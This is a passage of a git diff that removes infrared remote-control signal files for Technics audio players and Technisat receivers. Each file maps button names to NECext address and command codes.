Memory/Time_set -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 11 00 00 00 -# -name: FM_Mode -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 12 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 13 00 00 00 -# -name: Intro_Check -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 15 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 17 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 18 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 1B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 1C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 1D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 1E 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 22 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir deleted file mode 100644 index c9a8bdfd5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 01 00 00 00 -# -name: search_bwd -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 02 00 00 00 -# -name: search_fwd -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 19 00 00 00 -# -name: level+ -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 20 00 00 00 -# -name: level- -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 21 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 47 00 00 00 -# -name: a-b_repeat -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 48 00 00 00 -# -name: skip_bwd -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 49 00 00 00 -# -name: skip_fwd -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4A 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4D 00 00 00 -# -name: time_mode -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 55 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 81 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 84 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 85 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8A 00 00 00 -# -name: auto_cue -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir deleted file mode 100644 index 2cedbcbf4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 01 00 00 00 -# -name: SEARCH-LEFT -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 02 00 00 00 -# -name: SEARCH-RIGHT -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 19 00 00 00 -# -name: LEVEL-UP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 20 00 00 00 -# -name: LEVEL-DOWN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 21 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 47 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 48 00 00 00 -# -name: SKIP-LEFT -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 49 00 00 00 -# -name: SKIP-RIGHT -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4D 00 00 00 -# -name: TIME-MODE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 55 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 81 00 00 00 -# -name: GT10 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 84 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 85 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8A 00 00 00 -# -name: AUTO-CUE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8B 00 00 00 -# -name: PEAK -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8F 00 00 00 -# -name: TAPE-LENGTH -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: AB 00 00 00 -# -name: SIDE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: AC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir deleted file mode 100644 index 46d1c7d93..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 01 00 00 00 -# -name: SEARCH_BACKWARD -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 02 00 00 00 -# -name: SEARCH_FORWARD -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 0A 00 00 00 -# -name: NR1 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 10 00 00 00 -# -name: NR2 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 11 00 00 00 -# -name: NR3 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 12 00 00 00 -# -name: NR4 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 13 00 00 00 -# -name: NR5 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 14 00 00 00 -# -name: NR6 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 15 00 00 00 -# -name: NR7 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 16 00 00 00 -# -name: NR8 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 17 00 00 00 -# -name: NR9 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 18 00 00 00 -# -name: NR0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 19 00 00 00 -# -name: LEVEL_UP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 20 00 00 00 -# -name: LEVEL_DOWN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 21 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 47 00 00 00 -# -name: A_B_REPEAT -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 48 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 49 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4D 00 00 00 -# -name: TIME_MODE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 55 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 81 00 00 00 -# -name: GREATER10 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 84 00 00 00 -# -name: NR10 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 85 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8A 00 00 00 -# -name: AUTO_CUE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8B 00 00 00 -# -name: PEAK_SEARCH -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8F 00 00 00 -# -name: TAPE_LENGTH -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: AB 00 00 00 -# -name: SIDE_A_B -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: AC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir deleted file mode 100644 index e5ad971a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 00 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 19 00 00 00 -# -name: LEVEL_UP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 20 00 00 00 -# -name: LEVEL_DOWN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 21 00 00 00 -# -name: M.SCAN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 46 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 47 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 48 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 49 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 81 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 84 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 85 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir deleted file mode 100644 index 96b787a8f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 21 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 3D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 47 00 00 00 -# -name: A\*B_Repeat -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 48 00 00 00 -# -name: PrevTrack -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 49 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4A 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4D 00 00 00 -# -name: Time_Mode -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 55 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 81 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 84 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8A 00 00 00 -# -name: Auto_Cue -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8B 00 00 00 -# -name: Peak_Search -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8F 00 00 00 -# -name: Time_Fade -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 94 00 00 00 -# -name: Tape_Length -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: AB 00 00 00 -# -name: Side_A/B -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: AC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir deleted file mode 100644 index dce0024dd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 00 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 01 00 00 00 -# -name: search_down -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 02 00 00 00 -# -name: search_up -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 0A 00 00 00 -# -name: num_1 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 10 00 00 00 -# -name: num_2 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 11 00 00 00 -# -name: num_3 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 11 00 00 00 -# -name: num_4 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 13 00 00 00 -# -name: num_5 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 14 00 00 00 -# -name: num_6 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 15 00 00 00 -# -name: num_7 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 16 00 00 00 -# -name: num_8 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 17 00 00 00 -# -name: num_9 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 18 00 00 00 -# -name: num_0 -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 19 00 00 00 -# -name: level_up -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 20 00 00 00 -# -name: level_down -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 21 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 3D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 47 00 00 00 -# -name: a-b_repeat -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 48 00 00 00 -# -name: skip_down -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 49 00 00 00 -# -name: skip_up -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4A 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 4D 00 00 00 -# -name: time_mode -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 55 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 81 00 00 00 -# -name: two_digits -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 84 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8A 00 00 00 -# -name: auto_cue -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8B 00 00 00 -# -name: peak_search -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 8F 00 00 00 -# -name: time_fade -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: 94 00 00 00 -# -name: tape_length -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: AB 00 00 00 -# -name: side_a-b -type: parsed -protocol: NECext -address: A0 0A 00 00 -command: AC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir deleted file mode 100644 index eb8371fb0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0D 00 00 00 -# -name: HILFE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 22 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 23 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 29 00 00 00 -# -name: STOP2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 29 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: EXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 3C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir deleted file mode 100644 index 5f80e0ce2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 22 00 00 00 -# -name: Sound -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 23 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 26 00 00 00 -# -name: Still -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 29 00 00 00 -# -name: SFI -type: 